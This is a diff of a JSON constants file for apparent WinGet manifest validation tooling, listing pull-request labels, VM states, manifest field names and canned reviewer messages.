"Needs-CLA", - "CR": "Changes-Requested", - "DI": "DriverInstall", - "EAT": "Error-Analysis-Timeout", - "EHM": "Error-Hash-Mismatch", - "EIA": "Error-Installer-Availability", - "HVF": "Validation-Hash-Verification-Failed", - "HVL": "Highest-Version-Remaining", - "HVR": "Highest-Version-Removal", - "HW": "Hardware", - "IE": "Internal-Error", - "IEDS": "Internal-Error-Dynamic-Scan", - "IEM": "Internal-Error-Manifest", - "IEMI": "Internal-Error-Manifest-Installer", - "IEU": "Internal-Error-URL", - "IOD": "Interactive-Only-Download", - "IOI": "Interactive-Only-Installer", - "LBI": "License-Blocks-Install", - "LVR": "Last-Version-Removal", - "MA": "Moderator-Approved", - "MIVE": "Manifest-Installer-Validation-Error", - "MMC": "Manifest-Metadata-Consistency", - "MSD": "Manifest-Singleton-Deprecated", - "MV": "Manually-Validated", - "MVC": "Manual-Validation-Completed", - "MVE": "Manifest-Validation-Error", - "NA": "Needs-Attention", - "NAF": "Needs-Author-Feedback", - "NB": "Network-Blocker", - "NM": "New-Manifest", - "NMM": "Needs-Manual-Merge", - "NP": "New-Package", - "NR": "Needs-Review", - "NRA": "No-Recent-Activity", - "NSA": "Internal-Error-NoSupportedArchitectures", - "OUF": "Validation-Open-Url-Failed", - "PD": "Possible-Duplicate", - "PF": "Project-File", - "PF2": "Package-Flagged", - "PRE": "PullRequest-Error", - "PT12": "Policy-Test-1.2", - "PT18": "Policy-Test-1.8", - "PT23": "Policy-Test-2.3", - "PT25": "Policy-Test-2.5", - "PT27": "Policy-Test-2.7", - "PT29": "Policy-Test-2.9", - "RB": "Reboot", - "RET": "Retry-1", - "SA": "Scripted-Application", - "UF": "Unexpected-File", - "UVE": "URL-Validation-Error", - "VAD": "Validation-Agreement-Domain", - "VC": "Validation-Completed", - "VCR": "Validation-Certificate-Root", - "VD": "Validation-Domain", - "VDI": "Validate-Domain-Installer", - "VDE": "Validation-Defender-Error", - "VEE": "Validation-Executable-Error", - "VER": "Manifest-Version-Error", - "VHE": "Validation-HTTP-Error", - "VIE": "Validation-Installation-Error", - "VIMU": "Validation-InstallationMetadata-Update", - "VMC": "Validation-Merge-Conflict", - "VMD": "Validation-Missing-Dependency", - "VNE": "Validation-No-Executables", - "VR": "Validation-Retry", - "VSA": "Validation-Skip-Automations", - "VSE": "Validation-Shell-Execute", - "VSS": "Validation-SmartScreen-Error", - "VUF": "Validation-Unattended-Failed", - "VUU": "Validation-Unapproved-URL" - }, - "PRRequestTypes": { - "Assignees": "assignees", - "Comments": "comments", - "Commits": "commits", - "Files": "files", - "Labels": "labels", - "Merge": "merge", - "Reviews": "reviews", - "Blank": "" - }, - "LabelActionComments": { - "URLError": "The package manager bot determined there was an issue with one of the installers listed in the url field", - "ValidationInstallationError": "The package manager bot determined there was an issue with installing the application correctly", - "InternalError": "The pull request encountered an internal error and has been assigned to a developer to investigate", - "ManifestValidationError": "Please verify the manifest file is compliant with the package manager", - "ValidationUnattendedFailed": "this application failed to install without user input" - }, - "VMStatus": { - "AddVCRedist": "AddVCRedist", - "Approved": "Approved", - "CheckpointComplete": "CheckpointComplete", - "Checkpointing": "Checkpointing", - "CheckpointReady": "CheckpointReady", - "Completing": "Completing", - "Complete": "Complete", - "Disgenerate": "Disgenerate", - "DoesntRun": "DoesntRun", - "Feedback": "Feedback", - "LongRunning": "LongRunning", - "Postscan": "Postscan", - "PrescanPause": "PrescanPause", - "PostscanPause": "PostscanPause", - "Generating": "Generating", - "Installing": "Installing", - "Prescan": "Prescan", - "Prevalidation": "Prevalidation", - "Ready": "Ready", - "Rebooting": "Rebooting", - "Regenerate": "Regenerate", - "Restoring": "Restoring", - "Revert": "Revert", - "Scanning": "Scanning", - "SendStatus": "SendStatus", - "SendStatusApproved": "SendStatus-Approved", - "SendStatusComplete": "SendStatus-Complete", - "SendStatusFeedback": "SendStatus-Feedback", - "Setup": "Setup", - "SetupComplete": "SetupComplete", - "Starting": "Starting", - "Unhealthy": "Unhealthy", - "Updating": "Updating", - "ValidationCompleted": "ValidationCompleted" - }, - "ValidationDataType": { - "Should": "should", - "Must": "must" - }, - "MagicStrings": [ - "Installer Verification Analysis Context Information:", - "[error] One or more errors occurred.", - "[error] Manifest Error:", - "BlockingDetectionFound", - "Processing manifest", - "SQL error or missing database", - "Error occurred while downloading installer", - "Specified hash doesn't match", - "[error] Manifest is invalid", - "Result: Failed", - "[error] Manifest Warning:", - "[error] Manifest:", - "Exception Message", - "[error] " - ], - "GitHubRequestHeaders": { - "AuthorizationKey": "Authorization", - "AcceptKey": "Accept", - "AcceptValue": "application/vnd.github+json", - "ApiKey": "X-GitHub-Api-Version", - "ApiValue": "2022-11-28" - }, - "CommitFileModes":{ - "Patch":"Patch", - "Parent":"Parent", - "Default":"Default", - }, - "Data":{ + "TrackerVMValidate": "TrackerVMValidate", + }, + "ManifestFileTypes": { + "DefaultLocale": "defaultLocale", + "Locale": "locale", + "Installer": "installer", + "Installeryaml": "installer.yaml", + "Version": "version", + "Root": "" + }, + "ManifestFileTypesReverse": { + "defaultLocale": "DefaultLocale", + "locale": "Locale", + "installer": "Installer", + "version": "Version", + "yaml": "Root" + }, + "IndentationStyles": { + "FourListItem": " -", + "Four": " ", + "ThreeListItem": " -", + "Three": " ", + "TwoListItem": " -", + "Two": " ", + "OneListItem": " -", + "One": " ", + "ZeroListItem": " -", + "Zero": "", + }, + "IndentationStylesReverse": { + " - ": "FourListItem", + " ": "Four", + " - ": "ThreeListItem", + " ": "Three", + " - ": "TwoListItem", + " ": "Two", + " - ": "OneListItem", + " ": "One", + "- ": "ZeroListItem", + }, + "ManifestFileTypeNames": { + "DefaultLocale": "DefaultLocale", + "Locale": "Locale", + "Installer": "Installer", + "Installeryaml": "Installeryaml", + "Version": "Version", + "Root": "Root" + }, + "ManifestInstallerProperties": { + "AppsAndFeaturesEntries": "AppsAndFeaturesEntries", + "AppsAndFeaturesEntries_Items": "AppsAndFeaturesEntries_Items", + "Architecture": "Architecture", + "ArchiveBinariesDependOnPath": "ArchiveBinariesDependOnPath", + "Authentication": "Authentication", + "Capabilities": "Capabilities", + "Capabilities_Items": "Capabilities_Items", + "Channel": "Channel", + "Commands": "Commands", + "Commands_Items": "Commands_Items", + "Dependencies": "Dependencies", + "DisplayInstallWarnings": "DisplayInstallWarnings", + "DisplayName": "DisplayName", + "DisplayVersion": "DisplayVersion", + "DownloadCommandProhibited": "DownloadCommandProhibited", + "ElevationRequirement": "ElevationRequirement", + "ExpectedReturnCodes": "ExpectedReturnCodes", + "ExpectedReturnCodes_Items": "ExpectedReturnCodes_Items", + "ExternalDependencies": "ExternalDependencies", + "ExternalDependencies_Items": "ExternalDependencies_Items", + "FileExtensions": "FileExtensions", + "FileExtensions_Items": "FileExtensions_Items", + "Files_Items": "Files_Items", + "InstallationMetadata": "InstallationMetadata", + "InstallerAbortsTerminal": "InstallerAbortsTerminal", + "InstallerLocale": "InstallerLocale", + "Installers": "Installers", + "Installers_Items": "Installers_Items", + "InstallerSuccessCodes": "InstallerSuccessCodes", + "InstallerSuccessCodes_Items": "InstallerSuccessCodes_Items", + "InstallerSha256": "InstallerSha256", + "InstallerSwitches": "InstallerSwitches", + "InstallerSwitches_Items": "InstallerSwitches_Items", + "InstallerType": "InstallerType", + "InstallerUrl": "InstallerUrl", + "InstallLocationRequired": "InstallLocationRequired", + "InstallModes": "InstallModes", + "InstallModes_Items": "InstallModes_Items", + "InstallModes_Items": "InstallModes_Items", + "ManifestType": "ManifestType", + "ManifestVersion": "ManifestVersion", + "Markets": "Markets", + "MarketArray_Items": "MarketArray_Items", + "MinimumOSVersion": "MinimumOSVersion", + "NestedInstallerFiles": "NestedInstallerFiles", + "NestedInstallerFiles_Items": "NestedInstallerFiles_Items", + "NestedInstallerType": "NestedInstallerType", + "PackageFamilyName": "PackageFamilyName", + "PackageDependencies": "PackageDependencies", + "PackageDependencies_Items": "PackageDependencies_Items", + "PackageIdentifier": "PackageIdentifier", + "PackageVersion": "PackageVersion", + "Platform": "Platform", + "Platform_Items": "Platform_Items", + "PortableCommandAlias": "PortableCommandAlias", + "ProductCode": "ProductCode", + "Protocols": "Protocols", + "Protocols_Items": "Protocols_Items", + "Publisher": "Publisher", + "ReleaseDate": "ReleaseDate", + "RepairBehavior": "RepairBehavior", + "RelativeFilePath": "RelativeFilePath", + "RequireExplicitUpgrade": "RequireExplicitUpgrade", + "RestrictedCapabilities": "RestrictedCapabilities", + "RestrictedCapabilities_Items": "RestrictedCapabilities_Items", + "Scope": "Scope", + "SignatureSha256": "SignatureSha256", + "UnsupportedArguments": "UnsupportedArguments", + "UnsupportedArguments_Items": "UnsupportedArguments_Items", + "UnsupportedOSArchitectures": "UnsupportedOSArchitectures", + "UnsupportedOSArchitectures_Items": "UnsupportedOSArchitectures_Items", + "UpgradeBehavior": "UpgradeBehavior", + "WindowsFeatures": "WindowsFeatures", + "WindowsFeatures_Items": "WindowsFeatures_Items", + "WindowsLibraries": "WindowsLibraries", + "WindowsLibraries_Items": "WindowsLibraries_Items", + "UpgradeCode": "UpgradeCode", + "Custom": "Custom", + "InstallLocation": "InstallLocation", + "Interactive": "Interactive", + "Log": "Log", + "Repair": "Repair", + "Silent": "Silent", + "SilentWithProgress": "SilentWithProgress", + "Upgrade": "Upgrade", + }, + "ManifestDefaultLocaleProperties": { + "Agreement": "Agreement", + "AgreementLabel": "AgreementLabel", + "Agreements": "Agreements", + "AgreementUrl": "AgreementUrl", + "Author": "Author", + "Copyright": "Copyright", + "CopyrightUrl": "CopyrightUrl", + "ShortDescription": "ShortDescription", + "Description": "Description", + "Description_Items": "Description_Items", + "Documentations": "Documentations", + "Documentation": "Documentation", + "DocumentLabel": "DocumentLabel", + "DocumentUrl": "DocumentUrl", + "Icon": "Icon", + "IconFileType": "IconFileType", + "IconResolution": "IconResolution", + "Icons_Items": "Icons_Items", + "Icons_Items": "Icons_Items", + "IconSha256": "IconSha256", + "IconTheme": "IconTheme", + "IconUrl": "IconUrl", + "InstallationNotes": "InstallationNotes", + "License": "License", + "LicenseUrl": "LicenseUrl", + "ManifestType": "ManifestType", + "ManifestVersion": "ManifestVersion", + "Moniker": "Moniker", + "PackageIdentifier": "PackageIdentifier", + "PackageLocale": "PackageLocale", + "PackageName": "PackageName", + "PackageUrl": "PackageUrl", + "PackageVersion": "PackageVersion", + "PrivacyUrl": "PrivacyUrl", + "Publisher": "Publisher", + "PublisherSupportUrl": "PublisherSupportUrl", + "PublisherUrl": "PublisherUrl", + "PurchaseUrl": "PurchaseUrl", + "ReleaseNotes": "ReleaseNotes", + "ReleaseNotesUrl": "ReleaseNotesUrl", + "Tags_Items": "Tags_Items", + "Tags": "Tags", + "Tag": "Tag", + "Url": "Url", + }, + "ManifestLocaleProperties": { + "Agreement": "Agreement", + "AgreementLabel": "AgreementLabel", + "Agreements": "Agreements", + "AgreementUrl": "AgreementUrl", + "Author": "Author", + "Copyright": "Copyright", + "CopyrightUrl": "CopyrightUrl", + "Description": "Description", + "Description_Items": "Description_Items", + "Documentation": "Documentation", + "Documentations": "Documentations", + "DocumentLabel": "DocumentLabel", + "DocumentUrl": "DocumentUrl", + "Icon": "Icon", + "Icons_Items": "Icons_Items", + "InstallationNotes": "InstallationNotes", + "License": "License", + "LicenseUrl": "LicenseUrl", + "ManifestType": "ManifestType", + "ManifestVersion": "ManifestVersion", + "PackageIdentifier": "PackageIdentifier", + "PackageLocale": "PackageLocale", + "PackageName": "PackageName", + "PackageUrl": "PackageUrl", + "PackageVersion": "PackageVersion", + "PrivacyUrl": "PrivacyUrl", + "Publisher": "Publisher", + "PublisherSupportUrl": "PublisherSupportUrl", + "PublisherUrl": "PublisherUrl", + "PurchaseUrl": "PurchaseUrl", + "ReleaseNotes": "ReleaseNotes", + "ReleaseNotesUrl": "ReleaseNotesUrl", + "ShortDescription": "ShortDescription", + "Tags": "Tags", + "Tags_Items": "Tags_Items", + "Tag": "Tag", + "Tags": "Tags", + "Url": "Url", + }, + "ManifestVersionProperties": { + "DefaultLocale": "DefaultLocale", + "ManifestType": "ManifestType", + "ManifestVersion": "ManifestVersion", + "PackageIdentifier": "PackageIdentifier", + "PackageVersion": "PackageVersion", + }, + "Num": { + "NegativeOne": -1, + "Zero": 0, + "One": 1, + "Two": 2, + "Ten": 10 + }, + "PRCheckLabels": { + "Completed": "Completed", + "LicenseCla": "license/cla", + "Queued": "Queued" + }, + "QueueInputs": [ + "No suitable installer found for manifest", + "Caught std::exception: bad allocation", + "exit code: -1073741515", + "exit code: -1978335216" + ], + "ManifestScope": { + "User": "User", + "Machine": "Machine" + }, + "PRWatch": { + "Remove": "Remove", + "Delete": "Delete", + "AutomaticDeletion":"Automatic deletion", + }, + "Words": { + "Package": "Package", + "Error": "Error", + "Installation": "Installation", + "Event": "event", + "Something": "something", + "NoteProperty": "NoteProperty" + }, + "VMWinLoc": { + "Left": 900, + "LeftAdj": 100, + "Top": 0, + "TopAdj": 66, + "Bottom": 1029, + "Right": 860 + }, + "WaiverActions": { + "Manual": "Manual", + "Approved": "Approved" + }, + "PRWatchDataSource": { + "GitHub": "GitHub", + "WinGet": "WinGet" + }, + "PushMePRWho": [ + { + "Author": "spectopo", + "MatchString": "Mozilla.Firefox" + }, + { + "Author": "SpecterShell", + "MatchString": "Mozilla.Thunderbird" + }, + { + "Author": "spectopo", + "MatchString": "OpenJS" + } + ], + "Run": { + "azp2": "azp run", + "azp1": "AzurePipelines run", + "wingetbot": "wingetbot run" + }, + "PRActions": { + "Approved": "Approved", + "Blocking": "Blocking", + "Feedback": "Feedback", + "Retry": "Retry", + "Manual": "Manual", + "Closed": "Closed", + "Project": "Project", + "Squash": "Squash", + "Waiver": "Waiver" + }, + "PRCloseReasons": { + "MergeConflicts": "Close with reason: Merge Conflicts;" + }, + "PSColors": { + "Black": "Black", + "DarkBlue": "DarkBlue", + "DarkGreen": "DarkGreen", + "DarkCyan": "DarkCyan", + "DarkRed": "DarkRed", + "DarkMagenta": "DarkMagenta", + "DarkYellow": "DarkYellow", + "Gray": "Gray", + "DarkGray": "DarkGray", + "Blue": "Blue", + "Green": "Green", + "Cyan": "Cyan", + "Red": "Red", + "Magenta": "Magenta", + "Yellow": "Yellow", + "White": "White" + }, + "CannedMessages": { + "AgreementMismatch": "AgreementMismatch", + "AppFail": "AppFail", + "Approve": "Approve", + "AutomationBlock": "AutomationBlock", + "AutoValEnd": "AutoValEnd", + "AppsAndFeaturesNew": "AppsAndFeaturesNew", + "AppsAndFeaturesMissing": "AppsAndFeaturesMissing", + "AppsAndFeaturesMatch": "AppsAndFeaturesMatch", + "DoesntRun": "DoesntRun", + "DriverInstall": "DriverInstall", + "DefenderFail": "DefenderFail", + "HashFailRegen": "HashFailRegen", + "InstallerFail": "InstallerFail", + "InstallerMatchesSubmitter": "InstallerMatchesSubmitter", + "InstallerMissing": "InstallerMissing", + "InstallerNotSilent": "InstallerNotSilent", + "NormalInstall": "NormalInstall", + "InstallerUrlBad": "InstallerUrlBad", + "ListingDiff": "ListingDiff", + "ManValEnd": "ManValEnd", + "ManifestVersion": "ManifestVersion", + "MergeFail": "MergeFail", + "NoCause": "NoCause", + "NoExe": "NoExe", + "NoRecentActivity": "NoRecentActivity", + "NotGoodFit": "NotGoodFit", + "OneManifestPerPR": "OneManifestPerPR", + "Only64bit": "Only64bit", + "PackageFail": "PackageFail", + "PackageUrl": "PackageUrl", + "Paths": "Paths", + "PendingAttendedInstaller": "PendingAttendedInstaller", + "PolicyWrapper": "PolicyWrapper", + "PRNoYamlFiles": "PRNoYamlFiles", + "RemoveAsk": "RemoveAsk", + "SequenceNoElements": "SequenceNoElements", + "Unattended": "Unattended", + "Unavailable": "Unavailable", + "UrlBad": "UrlBad", + "VersionCount": "VersionCount", + "WhatIsIEDS": "WhatIsIEDS", + "WordFilter": "WordFilter" + }, + "ManifestFileExtension": { + "Installer": ".installer", + "Locale": ".locale", + "LocaleEnUS": ".locale.en-US", + "Root": ".yaml" + }, + "SuccessType": { + "New": "Attempting", + "Success": "Auto-Completing", + "Fail": "Failing" + }, + "PRTrackerOperations": { + "Configure": "Configure", + "DevHomeConfig": "DevHomeConfig", + "Pin": "Pin", + "Scan": "Scan" + }, + "Columns": { + "VM": "VM", + "Status": "status", + "Version": "version", + "OS": "OS", + "Package": "Package", + "PR": "PR", + "Mode": "Mode", + "RAM": "RAM" + }, + "PRLabels": { + "403": "Validation-Forbidden-URL-Error", + "404": "Validation-404-Error", + "AGR": "Agreements", + "ANA": "Author-Not-Authorized", + "ANF": "Manifest-AppsAndFeaturesVersion-Error", + "APP": "Azure-Pipeline-Passed", + "BI": "Blocking-Issue", + "BMM": "Bulk-Modify-Metadata", + "BVE": "Binary-Validation-Error", + "CLA": "Needs-CLA", + "CR": "Changes-Requested", + "DI": "DriverInstall", + "EAT": "Error-Analysis-Timeout", + "EHM": "Error-Hash-Mismatch", + "EIA": "Error-Installer-Availability", + "HVF": "Validation-Hash-Verification-Failed", + "HVL": "Highest-Version-Remaining", + "HVR": "Highest-Version-Removal", + "HW": "Hardware", + "IE": "Internal-Error", + "IEDS": "Internal-Error-Dynamic-Scan", + "IEM": "Internal-Error-Manifest", + "IEMI": "Internal-Error-Manifest-Installer", + "IEU": "Internal-Error-URL", + "IOD": "Interactive-Only-Download", + "IOI": "Interactive-Only-Installer", + "LBI": "License-Blocks-Install", + "LVR": "Last-Version-Removal", + "MA": "Moderator-Approved", + "MIVE": "Manifest-Installer-Validation-Error", + "MMC": "Manifest-Metadata-Consistency", + "MSD": "Manifest-Singleton-Deprecated", + "MV": "Manually-Validated", + "MVC": "Manual-Validation-Completed", + "MVE": "Manifest-Validation-Error", + "NA": "Needs-Attention", + "NAF": "Needs-Author-Feedback", + "NB": "Network-Blocker", + "NM": "New-Manifest", + "NMM": "Needs-Manual-Merge", + "NP": "New-Package", + "NR": "Needs-Review", + "NRA": "No-Recent-Activity", + "NSA": "Internal-Error-NoSupportedArchitectures", + "OUF": "Validation-Open-Url-Failed", + "PD": "Possible-Duplicate", + "PF": "Project-File", + "PF2": "Package-Flagged", + "PRE": "PullRequest-Error", + "PT12": "Policy-Test-1.2", + "PT18": "Policy-Test-1.8", + "PT23": "Policy-Test-2.3", + "PT25": "Policy-Test-2.5", + "PT27": "Policy-Test-2.7", + "PT29": "Policy-Test-2.9", + "RB": "Reboot", + "RET": "Retry-1", + "SA": "Scripted-Application", + "UF": "Unexpected-File", + "UVE": "URL-Validation-Error", + "VAD": "Validation-Agreement-Domain", + "VC": "Validation-Completed", + "VCR": "Validation-Certificate-Root", + "VD": "Validation-Domain", + "VDI": "Validate-Domain-Installer", + "VDE": "Validation-Defender-Error", + "VEE": "Validation-Executable-Error", + "VER": "Manifest-Version-Error", + "VHE": "Validation-HTTP-Error", + "VIE": "Validation-Installation-Error", + "VIMU": "Validation-InstallationMetadata-Update", + "VMC": "Validation-Merge-Conflict", + "VMD": "Validation-Missing-Dependency", + "VNE": "Validation-No-Executables", + "VR": "Validation-Retry", + "VSA": "Validation-Skip-Automations", + "VSE": "Validation-Shell-Execute", + "VSS": "Validation-SmartScreen-Error", + "VUF": "Validation-Unattended-Failed", + "VUU": "Validation-Unapproved-URL" + }, + "PRRequestTypes": { + "Assignees": "assignees", + "Comments": "comments", + "Commits": "commits", + "Files": "files", + "Labels": "labels", + "Merge": "merge", + "Reviews": "reviews", + "Blank": "" + }, + "LabelActionComments": { + "URLError": "The package manager bot determined there was an issue with one of the installers listed in the url field", + "ValidationInstallationError": "The package manager bot determined there was an issue with installing the application correctly", + "InternalError": "The pull request encountered an internal error and has been assigned to a developer to investigate", + "ManifestValidationError": "Please verify the manifest file is compliant with the package manager", + "ValidationUnattendedFailed": "this application failed to install without user input" + }, + "VMStatus": { + "AddVCRedist": "AddVCRedist", + "Approved": "Approved", + "CheckpointComplete": "CheckpointComplete", + "Checkpointing": "Checkpointing", + "CheckpointReady": "CheckpointReady", + "Completing": "Completing", + "Complete": "Complete", + "Disgenerate": "Disgenerate", + "DoesntRun": "DoesntRun", + "Feedback": "Feedback", + "LongRunning": "LongRunning", + "Postscan": "Postscan", + "PrescanPause": "PrescanPause", + "PostscanPause": "PostscanPause", + "Generating": "Generating", + "Installing": "Installing", + "Prescan": "Prescan", + "Prevalidation": "Prevalidation", + "Ready": "Ready", + "Rebooting": "Rebooting", + "Regenerate": "Regenerate", + "Restoring": "Restoring", + "Revert": "Revert", + "Scanning": "Scanning", + "SendStatus": "SendStatus", + "SendStatusApproved": "SendStatus-Approved", + "SendStatusComplete": "SendStatus-Complete", + "SendStatusFeedback": "SendStatus-Feedback", + "Setup": "Setup", + "SetupComplete": "SetupComplete", + "Starting": "Starting", + "Unhealthy": "Unhealthy", + "Updating": "Updating", + "ValidationCompleted": "ValidationCompleted" + }, + "ValidationDataType": { + "Should": "should", + "Must": "must" + }, + "MagicStrings": [ + "Installer Verification Analysis Context Information:", + "[error] One or more errors occurred.", + "[error] Manifest Error:", + "BlockingDetectionFound", + "Processing manifest", + "SQL error or missing database", + "Error occurred while downloading installer", + "Specified hash doesn't match", + "[error] Manifest is invalid", + "Result: Failed", + "[error] Manifest Warning:", + "[error] Manifest:", + "Exception Message", + "[error] " + ], + "GitHubRequestHeaders": { + "AuthorizationKey": "Authorization", + "AcceptKey": "Accept", + "AcceptValue": "application/vnd.github+json", + "ApiKey": "X-GitHub-Api-Version", + "ApiValue": "2022-11-28" + }, + "CommitFileModes":{ + "Patch":"Patch", + "Parent":"Parent", + "Default":"Default", + }, + "Data":{ "PackageIdentifier": "PackageIdentifier", "GitHubUserName": "GitHubUserName", "authStrictness": "authStrictness", @@ -765,405 +765,405 @@ "code200OverridePR": "code200OverridePR", "AgreementOverridePR": "AgreementOverridePR", "AgreementURL": "AgreementURL", - "reviewText":"reviewText", - }, - "Strings": { - "AllCommentsMustBeResolved": "All comments must be resolved", - "ApiRateLimitExceeded": "API rate limit exceeded", - "DetectedOneDefender": "Detected 1 Defender", - "FoundDuplicatePullRequest": "Found duplicate pull request", - "LettingVmCool": "Letting VM cool...", - "NoData": "NoData", - "NoErrorsToPost": "No errors to post.", - "MarkedThisConversationAsResolved": "marked this conversation as resolved.", - "PrimaryFork": "master", - "ManualValidation": "Manual Validation", - "OneManifestPerPR": "The pull request contains more than one manifest", - "ManifestTypeSingleton": "ManifestType: singleton", - "Pst": "Pacific Standard Time", - "ADOMSBaseUrl":"ADOMSBaseUrl", - "manifests":"manifests/", - "SkipToContent":"Skip to content", - "WindowsPackageManager": " Windows Package Manager", - "ElevationRequirementElevationProhibited": "ElevationRequirement: elevationProhibited", - "PRNoYamlFiles": "The pull request doesn't include any manifest files yaml", - "Win11DevEnv": "Windows 11 dev environment", - "RemovingPreviousManifestAndAddingCurrent": "Removing previous manifest and adding current...", - "RenameCompleteStarting": "Rename complete, starting...", - "StartingVmAndCleaningUpCheckpoints": "Starting VM and cleaning up checkpoints...", - "RevertingVm": "Reverting VM...", - "PullRequestHasMergeConflicts": "Pull Request has merge conflicts", - "LaunchingVMWindowHandingOffToOrchestration": "Launching VM window, handing off to Orchestration.", - "StandardizeFormatting": "Standardize formatting", - "CreatedAt": "created_at", - "UserName":"UserName", - "BuildLinkComment":"Validation Pipeline Run \\[WinGetSvc-Validation-", - "ReturningPatch":"Returning Patch:", - "Label":"label:", - "Timestamp":"yyyy-MM-dd", - "Microsoft":"Microsoft", - "matches":"matches", - "preapproved":"preapproved", - "DoesNotMatch":"does not match", - "WantsToMerge":"wants to merge", - "GitHubUserName":"GitHubUserName", - "BotPrefix":"\\[bot\\]", - "Vm": "vm", - "ValidationResultFailed": "Validation result: Failed", - "ValidationPipelineRun": "Validation Pipeline Run", - "WingetbotRun": "@wingetbot run", - "WingetbotWaiversAdd": "@wingetbot waivers Add", - "Win": "Win", - "Url" :"Url", - "Agreement" :"Agreement", - "FastFailTombstone":"ZZZFASTFAILZZZ", - "WordFilterList":"WordFilterList", -}, - "PRStates": { - "Open": "open", - "Closed": "closed" - }, - "PRRequestMethods": { - "Get": "GET", - "Delete": "DELETE", - "Head": "HEAD", - "Post": "POST", - "Put": "PUT" - }, - "Dependencies": { - "VCRedist": "Microsoft.VCRedist.2015+.x64", - "DesktopRuntime8": "Microsoft.DotNet.DesktopRuntime.8", - "OracleJre": "Oracle.JavaRuntimeEnvironment" - }, - "PRRequestOutput": { - "Content": "Content", - "Silent": "Silent", - "StatusDescription": "StatusDescription" - }, - "CannedMessageResponses": { - "AgreementMismatch": "Hi $Username`n`nThis package uses Agreements, but this manifest's AgreementsUrl doesn't match the AgreementsUrl on file: $AgreementUrlFromList", - "AppsAndFeaturesNew": "Hi $Username`n`nThis manifest adds a `DisplayVersion` to the `AppsAndFeaturesEntries` that isn't present in previous manifest versions. This entry should be added to the previous versions, or removed from this version.", - "AppsAndFeaturesMissing": "Hi $Username`n`nThis manifest removes the `DisplayVersion` from the `AppsAndFeaturesEntries`, which is present in previous manifest versions. This entry should be added to this version, to maintain version matching, and prevent the 'upgrade always available' situation with this package.", - "AppsAndFeaturesMatch": "Hi $Username`n`nThis manifest uses the same values for `DisplayVersion` and `PackageVersion`. This is not recommended, and the `DisplayVersion` should be removed.", - "AppFail": "Hi $Username`n`nThe application installed normally, but gave an error instead of launching:`n", - "Approve": "Hi $Username`n`nDo you approve of these changes?", - "AutomationBlock": "This might be due to a network block of data centers, to prevent automated downloads.", - "UserAgentBlock": "This might be due to user-agent throttling.", - "AutoValEnd": "Automatic Validation ended with: `n> $UserInput", - "DriverInstall": "Hi $Username`n`nThe installation is unattended, but installs a driver which isn't unattended:`nUnfortunately, installer switches are not usually provided for this situation. Are you aware of an installer switch to have the driver silently install as well?", - "DefenderFail": "The package didn't pass a Defender or similar security scan. This might be a false positive and we can rescan tomorrow..", - "HashFailRegen": "Closing to regenerate with correct hash.", - "InstallerFail": "Hi $Username`n`nThe installer did not complete:`n", - "InstallerMatchesSubmitter": "Submitter username detected in InstallerUrl, but not in PackageIdentifier. Verify not a forked repository.", - "InstallerMissing": "Hi $Username`n`nHas the installer been removed?", - "InstallerNotSilent": "Hi $Username`n`nThe installation isn't unattended. Is there an installer switch to have the package install silently?", - "ListingDiff": "This PR omits these files that are present in the current manifest:`n> $UserInput", - "ManifestVersion": "Hi $Username`n`nWe don't often see the `1.0.0` manifest version anymore. Would it be possible to upgrade this to the [1.12.0]($GitHubBaseUrl/tree/master/doc/manifest/schema/1.12.0) version, possibly through a tool such as [WinGetCreate](https://learn.microsoft.com/en-us/windows/package-manager/package/manifest?tabs=minschema%2Cversion-example), [YAMLCreate]($GitHubBaseUrl/blob/master/Tools/YamlCreate.ps1), or [Komac](https://github.com/russellbanks/Komac)? ", - "ManValEnd": "Manual Validation ended with: `n> $UserInput", - "MergeFail": "Merging failed with:`n> $UserInput", - "NoCause": "I'm not able to find the cause for this error. It installs and runs normally on a Windows 10 VM.", - "NoExe": "Hi $Username`n`nThe installer doesn't appear to install any executables, only supporting files:`n`nIs this expected?", - "NoRecentActivity": "No recent activity.", - "NotGoodFit": "Hi $Username`n`nUnfortunately, this package might not be a good fit for inclusion into the WinGet public manifests. Please consider using a local manifest (`WinGet install --manifest C:\\path\\to\\manifest\\files\\`) for local installations. ", - "NormalInstall": "This package installs and launches normally in a Windows 10 VM.", - "OneManifestPerPR": "Hi $Username`n`nWe have a limit of 1 manifest change, addition, or removal per PR. This PR modifies more than one PR. Can these changes be spread across multiple PRs?", - "Only64bit": "Hi $Username`n`nValidation failed on the x86 package, and x86 packages are validated on 32-bit OSes. So this might be a 64-bit package.", - "PackageFail": "Hi $Username`n`nThe package installs normally, but fails to run:`n", - "PackageUrl": "Hi $Username`n`nCould you add a PackageUrl?", - "Paths": "Please update file name and path to match this change.", - "PendingAttendedInstaller": "Pending:`n* https://github.com/microsoft/winget-cli/issues/910", - "PolicyWrapper": "", - "PRNoYamlFiles": "Hi $Username`n`nThis error means that this PR diff Master had no output. In other words, it's like a merge conflict.`n> The pull request doesn't include any manifest files yaml.", - "RemoveAsk": "Hi $Username`n`nThis package installer is still available. Why should it be removed?", - "SequenceNoElements": "> Sequence contains no elements`n`n - This error means that this PR diff Master had no output. In other words, it's like a merge conflict.", - "Unavailable": "Hi $Username`n`nThe installer isn't available from the publisher's website:", - "Unattended": "Hi $Username`n`nThe installation isn't unattended:`n`nIs there an installer switch to bypass this and have it install automatically?", - "UrlBad": "Hi $Username`n`nI'm not able to find this InstallerUrl from the PackageUrl. Is there another page on the developer's site that has a link to the package?", - "VersionCount": "Hi $Username`n`nThis manifest has the highest version number for this package. Is it available from another location? (This might be in error if the version is switching from semantic to string, or string to semantic.)", - "WhatIsIEDS": "Hi $Username`n`nThe label `Internal-Error-Dynamic-Scan` is a blanket error for one of a number of internal pipeline errors or issues that occurred during the Dynamic Scan step of our validation process. It only indicates a pipeline issue and does not reflect on your package. Sorry for any confusion caused.", - "WordFilter": "This manifest contains a term that is blocked:`n`n> $UserInput" - }, - "ManifestStrings": { - "FooterHeader": "\n@@ -0,0 + 0,0 @@\n" - }, - "PSDataTypes": { - "String": "string", - "Array": "array" - }, - "ManifestKeys": { - "PackageIdentifier": "PackageIdentifier", - "PackageVersion": "PackageVersion", - "DisplayVersion": "DisplayVersion", - "InstallerType": "InstallerType", - "AgreementUrl": "AgreementUrl", - "InstallerUrl": "InstallerUrl", - "ElevationRequirement": "ElevationRequirement", - }, - "WordFilterList": [ - "accept_gdpr ", - "accept-licenses", - "accept-license", - "eula", - "downloadarchive.documentfoundation.org", - "paypal" - ], -"GitHubRateLimit":{ - "Url":"https://api.github.com/rate_limit", - "Source":"source", - "Reset":"reset", - "Logged":"Logged", - "Unlogged":"Unlogged", -}, - "Char": { - "Ampersand": "@", - "Backslash": "\\", - 